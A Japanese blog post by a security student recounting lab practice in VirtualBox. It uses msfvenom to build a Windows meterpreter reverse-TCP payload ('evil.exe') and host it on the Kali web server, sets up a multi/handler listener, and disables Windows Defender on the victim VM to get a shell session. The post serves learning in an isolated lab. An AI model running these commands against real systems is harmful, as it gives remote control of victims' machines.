Metasploitの使用
現在とあるセキュリティのコースを受講しています。講義ではネットワークに始まりバイナリ解析やPwn、webアプリケーションといった様々なことを学習しますが、復習をするとなると少し問題が生じます。というのも学習したことを使用して実際に他のサーバーに入ったりwebシステムを攻撃することは、言うまでもありませんが違法です。
そのため「ハッキングラボのつくりかた」という本を用いてVirtualBoxによる仮想環境を構築してその中で攻撃をしたり、学んだことを復習したいと思います。噂に聞くMetasploitableの構築もやってみました。
とりあえず今回は実務で利用頻度が高そうなMetasploitを使用してみました。
仮想環境の構成としてはゲストOSとして攻撃する側のKali Linuxと攻撃される側のWindows10を用意しています。
- Kali Linux : 10.0.0.2
- windows10 : 10.0.0.101
kali Linux
まずKali側で下記を入力します。ちょっと時間がかかりますがmetasploitが起動します。 ペイロード(悪意のある実行コード)を作成します。 まずsearchで検索をします。 意味としては種別がペイロード、TCP型のリバースシェル、ターゲットはwindowsです。
msfconsole
search type:payload reverse_tcp platform:windows
一覧が表示されますが、windows用のTCP型リバースシェルを選択し作成します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe
デスクトップに作成されました。
作成されたevil.exeをブラウザからアクセスできる/var/www/html/share
に移動します。
mv evil.exe /var/www/html/share
これで他のPCからブラウザでアクセスできます。
Kali側はwindows側で実行されるリバースシェルを待ち受けます。方法としてはハンドラーモジュールを使用します。
ここではwindowsのTCP型リバースシェルを指定しkaliのIPを設定しshow option
で確認します。
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 show option
ここでexploitを実行すると待ち受け状態になります。
exploit
windows10
攻撃される側のwindows10では、Kali側で設置した悪意のある実行ファイルにブラウザをとおしてアクセスします。これをダウンロードして実行してしまったという想定です。
これをダウンロードして実行しますが、通常はwindows Defenderが効いているので今回は無効かしておきます。
このファイルを実行して、netstatで確認します。
ESTABLISHEDとなり接続されているのが確認できます。
kali Linux
Kali Linux側で確認します。 プロンプトがmeterpreterとなりwindows10とのセッションが確立されているのが確認できました。